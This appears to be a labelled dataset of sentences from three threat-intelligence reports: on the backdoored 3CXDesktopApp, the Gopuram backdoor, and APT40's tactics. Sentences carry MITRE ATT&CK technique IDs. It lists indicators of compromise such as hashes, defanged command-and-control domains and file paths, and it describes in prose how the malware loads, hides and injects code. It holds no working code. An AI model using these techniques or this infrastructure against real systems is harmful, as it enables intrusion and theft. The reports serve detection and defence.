{"sentence": "VMDR QID 378327 details Alternatively, another option is to gather data from endpoints to hunt for the existence of the impacted software.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Two such open-source scripts are available on GitHub.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The 3cxIngectionHunter script will simply crawl the filesystem looking for instances of the infected ffmpeg.dll file and report back if there is a match to the malicious hash.", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The 3CXLocalDNSCacheHunter script will collect the local DNS cache and look for a match against some of the known URLs associated with this campaign.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Using Qualys Custom Asset and Remediation, you can utilize the following PowerShell community scripts to identify potential infected assets by either copying the contents of the script manually or pointing the tool to the GitHub script directly to download.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.14 CAR Scripts Users of Custom Assessment and Remediation and Qualys Patch Management can also push scripts to uninstall the impacted software automatically.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "These scripts will be published to GitHub in the coming days.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "An example output from a system that does not have a vulnerable version of ffmpeg.dll installed: Fig.15 CAR script output CAR can also be leveraged to remediate this vulnerability.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "You need to execute this uninstallation script provided by Qualys.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This script checks for 3CX Desktop App’s vulnerable version 18.12.407.0 & 18.12.416.0 for Windows.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "If any of these versions are installed on the system, the script will attempt to uninstall the vulnerable application.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.16 CAR script for remediation You can also create dashboards for better visualization.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.17 CAR dashboard for 3CX Qualys Multi-Vector EDR customers are protected against this threat as both the installer and the beacon are detected and will be remediated.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "(Note: our instance was set to audit-only mode for analysis.)", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.18 EPP Scan Results Fig.19 Epp Detection for shellcode loader Multi-Vector EDR customers can also hunt through telemetry, looking for behavior indicators to identify this threat activity.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "A first step would look for instances where the 3cxdesktopapp.exe process executed in the environment using a QQL Query of process.name:”3xcdesktopapp.exe”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Here you would want to look for evidence of the ffmpeg.dll file being loaded, which would be indicative that this machine may be impacted by this campaign.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.20 EDR Behavioral Detection Telemetry Fig.21 EDR Shellcode Loader Detection Fig.22 Loaded malicious ffmpeg.dll telemetry While Qualys Endpoint Protection (EPP) users will be automatically protected by default, Qualys EDR-only customers can use the recently released auto-remediation feature to automatically take action.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Conclusion Supply chain compromises are a growing concern for businesses, as they can lead to serious security breaches and financial losses.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The attack was a multi-stage chain where attackers compromised a version of the 3CX VoIP desktop client, which was then used to target the company’s customers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This is reminiscent of the SolarWinds campaign that we examined back in December 2022.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Organizations should take immediate steps to stop using the vulnerable version of the software, apply patches and monitor for anomalous behavior in 3CX processes.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "It is also essential to enable behavioral monitoring to detect the presence of such attacks within the system.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "MITRE TID Mapping TacticTechnique IDTechnique Name Resource Development T1608.001 Stage Capabilities: Upload Malware Resource Development T1587.003 Develop Capabilities: Digital Certificates Initial Access T1195.002 Supply Chain Compromise: Compromise Software Supply Chain Execution T1106 Native API Execution T1204.002", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "User Execution: Malicious File Defense Evasion T1140 Deobfuscate/Decode Files or Information Defense Evasion T1027 Obfuscated Files or Information Defense Evasion T1574.002 Hijack Execution Flow: DLL Side-Loading Defense Evasion T1553.002 Subvert Trust Controls: Code Signing Defense Evasion T1497.003 Virtualization/Sandbox Evasion: Time-Based Evasion Credential Access T1555 Credentials from Password Stores Credential Access T1539 Steal Web Session Cookie Command and Control T1132.001 Data Encoding: Standard Encoding Command and Control T1102.001 Web Service:", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Dead Drop Resolver Command and Control T1071 Application Layer Protocol Collection T1005 Data from Local System Table.5 MITRE mapping IOCS ffmpeg.dll C485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 d3dcompiler.dll 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 Embedded dll F86A81B89C5FD4C98BC8616440FF0382505EC7942DA6D4F19EEE011E956434A8 Trojanized 3cxDesktopApp Dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc Fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "B86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Infostealer dll Cad1120d91b812acafef7175f949dd1b09c6c21a 7faea2b01796b80d180399040bb69835 GitHub Repository raw[.]githubusercontent[.]com/IconStorages/images/main/ C2s akamaicontainer[.]com akamaitechcloudservices[.]com azuredeploystore[.]com azureonlinecloud[.]com azureonlinestorage[.]com dunamistrd[.]com glcloudservice[.]com journalide[.]org msedgepackageinfo[.]com msstorageazure[.]com msstorageboxes[.]com officeaddons[.]com officestoragebox[.]com pbxcloudeservices[.]com pbxphonenetwork[.]com pbxsources[.]com qwepoi123098[.]com sbmsa[.]wiki sourceslabs[.]com visualstudiofactory[.]com zacharryblogs[.]com Icon File Hashes a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e Contributors Travis Smith, Vice President, Threat Research Unit, Qualys Irfan Asrar, Director, Malware and Threat Research, Qualys Mayuresh Dani, Manager, Threat Research.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys Sabri Naoufal, Senior Malware Analyst, Qualys Mohammad Shabbir, Malware Analyst, Qualys Akshat Pradhan, Senior Engineer, Threat Research, Qualys", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "On March 29, Crowdstrike published a report about a supply chain attack conducted via 3CXDesktopApp, a popular VoIP program.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Since then, the security community has started analyzing the attack and sharing their findings.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The following has been discovered so far:", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The infection is spread via 3CXDesktopApp MSI installers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "An installer for macOS has also been trojanized.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The malicious installation package contains an infected dll library that decrypts a shellcode from the d3dcompiler_47.dll library’s overlay and executes it.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The decrypted payload extracts C2 server URLs from icons stored in a GitHub repository (the repository is removed).", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The payload connects to one of the C2 servers, downloads an infostealer and starts it.", "labels": ["T1105"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The infostealer collects system information and browser history, then sends it to the C2 server.", "labels": ["T1041"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As we reviewed available reports on the 3CX attack, we began wondering if the compromise concluded with the infostealer or further implants followed.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "To answer that question, we decided to review the telemetry we had on the campaign.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "On one of the machines, we observed a DLL named guard64.dll, which was loaded into the infected 3CXDesktopApp.exe process.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Interestingly enough, we opened an investigation into a case linked to that DLL on March 21, about a week before the supply chain attack was discovered.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "A DLL with that name was used in recent deployments of a backdoor that we dubbed “Gopuram” and had been tracking internally since 2020.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Three years ago, we were investigating an infection of a cryptocurrency company located in Southeast Asia.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "During the investigation, we found that Gopuram coexisted on victim machines with AppleJeus, a backdoor attributed to the Korean-speaking threat actor Lazarus.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Over the years, we observed few victims compromised with Gopuram, but the number of infections began to increase in March 2023.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As it turned out, the increase was directly related to the 3CX supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We found out that the threat actor specifically targeted cryptocurrency companies, dropping the following files on infected machines: C:\\Windows\\system32\\wlbsctrl.dll, a malicious library (MD5: 9f85a07d4b4abff82ca18d990f062a84); C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms, an encrypted shellcode payload.", "labels": ["T1027"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Once dropped, wlbsctrl.dll becomes loaded on every startup by the IKEEXT service via DLL hijacking.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We further saw DLLs with the names ualapi.dll and ncobjapi.dll being sideloaded into spoolsv.exe and svchost.exe, respectively.", "labels": ["T1574.002"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The wlbsctrl.dll library is responsible for decrypting and executing the shellcode stored in the C:\\Windows\\System32\\config\\TxR directory.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The decryption is notably performed through the CryptUnprotectData API function that uses a different encryption key internally on every machine.", "labels": ["T1106"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "This makes it difficult for researchers to decrypt the payload from the file without physical access to the victim machines.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Snippet of the loading function using CryptUnprotectData The component loaded by the library is Gopuram’s main module.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As mentioned above, its name in the export directory is guard64.dll.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The job of the main module is to connect to a C2 server and request commands.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The backdoor implements commands that allow the attackers to interact with the victim’s file system and create processes on the infected machine.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Gopuram was additionally observed to launch in-memory modules.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Just like the implants used in the 3CX campaign, Gopuram’s modules are DLL files that include an export function named DllGetClassObject.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We have observed eight modules so far: Module name Description Ping Pings a host specified in the argument.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Connect Connects to a given host via a socket and waits for the server to send data.", "labels": ["T1095"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Registry Manipulates registry (lists, adds, deletes and exports keys).", "labels": ["T1112"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Service Manipulates (creates, lists, starts, stops and deletes) services.", "labels": ["T1543.003"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Timestomp Performs timestomping on files.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Inject Performs payload injections through syscalls via mapping a shellcode to a remote process and creating a remote thread.", "labels": ["T1055"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "KDU Kernel Driver Utility that allows an attacker to bypass driver signature enforcement.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The utility is used to load an unsigned driver (MD5: F684E10FF1FFCDD32C62E73A11382896).", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The driver collects information about installed AV filters and writes it to the C:\\Windows\\System32\\catroot2\\edb.chk.log file.", "labels": ["T1518.001"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Update Encrypts a provided payload", "labels": ["T1027"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "and writes it to the C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms file.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Net Partially implements features of the net command: management of users, groups, sessions and network shares.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The discovery of the new Gopuram infections allowed us to attribute the 3CX campaign to the Lazarus threat actor with medium to high confidence.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Our attribution is based on the following facts: While investigating an attack on a Southeast Asian cryptocurrency company in 2020, we found Gopuram coexisting on the same machine with the AppleJeus backdoor, which is attributed to Lazarus.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The Gopuram backdoor has been observed in attacks on cryptocurrency companies, which is aligned with the interests of the Lazarus threat actor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "While looking for additional implants that used the same loader shellcode as the 3CX implants, we discovered a sample on a multiscanner service (MD5: 933508a9832da1150fcfdbc1ca9bc84c) loading a payload that uses the wirexpro[.]com C2 server.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The same server is listed as an IoC for an AppleJeus campaign by Malwarebytes.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "First bytes of the loader shellcode used in 3CX and AppleJeus Note, though, that the shellcode is based on open-source code that has been used by other threat actors, for example, SilentBreak.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Still, the use of that shellcode along with the 0xF558F4DA constant (which is the ROR13 hash for the string DllGetClassObject) is a more unique pattern.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "While investigating a malicious MSI file (MD5: ec3f99dd7d9dbce8d704d407b086e84f) that has been uploaded to a multiscanner service, we observed the following two events: The dll library dropped from the MSI was observed to launch an in-memory payload that contacts the oilycargo[.]com domain.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "This domain name has previously been attributed to Lazarus by multiple researchers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "In our telemetry, we observed AvBugReport.exe, the executable hosting dll, to contain Gopuram’s main module payload, guard64.dll.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "These four facts allow us to conclude that Lazarus is likely the threat actor deploying the Gopuram backdoor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As for the victims in our telemetry, installations of the infected 3CX software are located all over the world, with the highest infection figures observed in Brazil, Germany, Italy and France.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As the Gopuram backdoor has been deployed to less than ten infected machines, it indicates that attackers used Gopuram with surgical precision.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We additionally observed that the attackers have a specific interest in cryptocurrency companies.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As it turns out, the infostealer is not the only malicious payload deployed during the 3CX supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The threat actor behind Gopuram additionally infects target machines with the full-fledged modular Gopuram backdoor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We believe that Gopuram is the main implant and the final payload in the attack chain.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Our investigation of the 3CX campaign is still far from complete.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We will continue analyzing the deployed implants to find out more details about the toolset used in the supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Gopuram indicators of compromise MD5 hashes 9f85a07d4b4abff82ca18d990f062a84 96d3bbf4d2cf6bc452b53c67b3f2516a File paths C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms C:\\Windows\\system32\\catroot2\\edb.chk.log More indicators of compromise and YARA rules for detecting Gopuram components are available for TIP subscribers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Contact intelreports@kaspersky.com for more details.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Original release date: July 19, 2021SummaryThis Joint Cybersecurity Advisory was written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) to provide information on a Chinese Advanced Persistent Threat (APT) group known in open-source reporting as APT40.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "This advisory provides APT40’s tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help cybersecurity practitioners identify and remediate APT40 intrusions and established footholds.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40—aka BRONZE MOHAWK, FEVERDREAM, G0065, Gadolinium, GreenCrash, Hellsing, Kryptonite Panda, Leviathan, MUDCARP, Periscope, Temp.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Periscope, and Temp.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Jumper—is located in Haikou, Hainan Province, People’s Republic of China (PRC), and has been active since at least 2009.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40 has targeted governmental organizations, companies, and universities in a wide range of industries—including biomedical, robotics, and maritime research—across the United States, Canada, Europe, the Middle East, and the South China Sea area, as well as industries included in China’s Belt and Road Initiative.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "On July 19, 2021, the U.S. Department of Justice (DOJ) unsealed an indictment against four APT40 cyber actors for their illicit computer network exploitation (CNE) activities via front company Hainan Xiandun Technology Development Company (Hainan Xiandun).", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Hainan Xiandun employee Wu Shurong cooperated with and carried out orders from PRC Ministry of State Security (MSS) Hainan State Security Department (HSSD) intelligence officers Ding Xiaoyang, Zhu Yunmin, and Cheng Qingmin to conduct CNE.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Wu’s CNE activities resulted in the theft of trade secrets, intellectual property, and other high-value information from companies and organizations in the United States and abroad, as well as from multiple foreign governments.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "These MSS-affiliated actors targeted victims in the following industries: academia, aerospace/aviation, biomedical, defense industrial base, education, government, healthcare, manufacturing, maritime, research institutes, and transportation (rail and shipping).", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Click here for a PDF version of this report.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "(Updated July 19, 2021) Click here for indicators of compromise (IOCs) in STIX format.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Note: to uncover malicious activity, incident responders search for IOCs in network- and host-based artifacts and assess the results—eliminating false positives during the assessment.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "For example, some MD5 IOCs in the STIX file identify legitimate tools—such as Putty, cmd.exe, svchost.exe, etc.—as indicators of compromise.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Although the tools themselves are not malicious, APT 40 attackers placed and used them from non-standard folders on victim systems during computer intrusion activity.", "labels": ["T1105"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "If a legitimate tool is identified by an incident responder, then the location of the tool should be assessed to eliminate false positives or uncover malicious activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "See Technical Approaches to Uncovering and Remediating Malicious Activity for more incident handling guidance.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Technical DetailsThis Joint Cybersecurity Advisory uses the MITRE ATT&CK:registered: framework, version 9.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "See the ATT&CK for Enterprise framework for all referenced threat actor tactics and techniques.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "APT40", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[G0065] has used a variety of tactics and techniques and a large library of custom and open-source malware—much of which is shared with multiple other suspected Chinese groups—to establish initial access via user and administrator credentials, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data.", "labels": ["T1005", "T1078"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Table 1 provides details on these tactics and techniques.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "Table 1: APT40", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "ATT&CK Tactics and Techniques Tactics Activities and Techniques Reconnaissance [TA0043] and Resource Development [TA0042] Gathered victim identity information [T1589] by collecting compromised credentials [T1589.001] Acquire infrastructure", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1583] to establish domains that impersonate legitimate entities [T1583.001], aka ‘typosquatting’, to use in watering hole attacks and as command and control (C2)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0011] infrastructure Establish new [T1585.002] and compromise existing [T1586.002] email and social media accounts", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[1585.001] to conduct social engineering attacks Initial Access", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[TA0001] External remote services (e.g., virtual private network", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[VPN] services)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1133] Spearphishing emails with malicious attachments [T1566.001] and links [T1566.002] Drive-by compromises", "labels": ["T1566.001"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
{"sentence": "[T1189] and exploitation of public-facing applications [T1190] Access to valid", "labels": ["T1078", "T1190"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"}
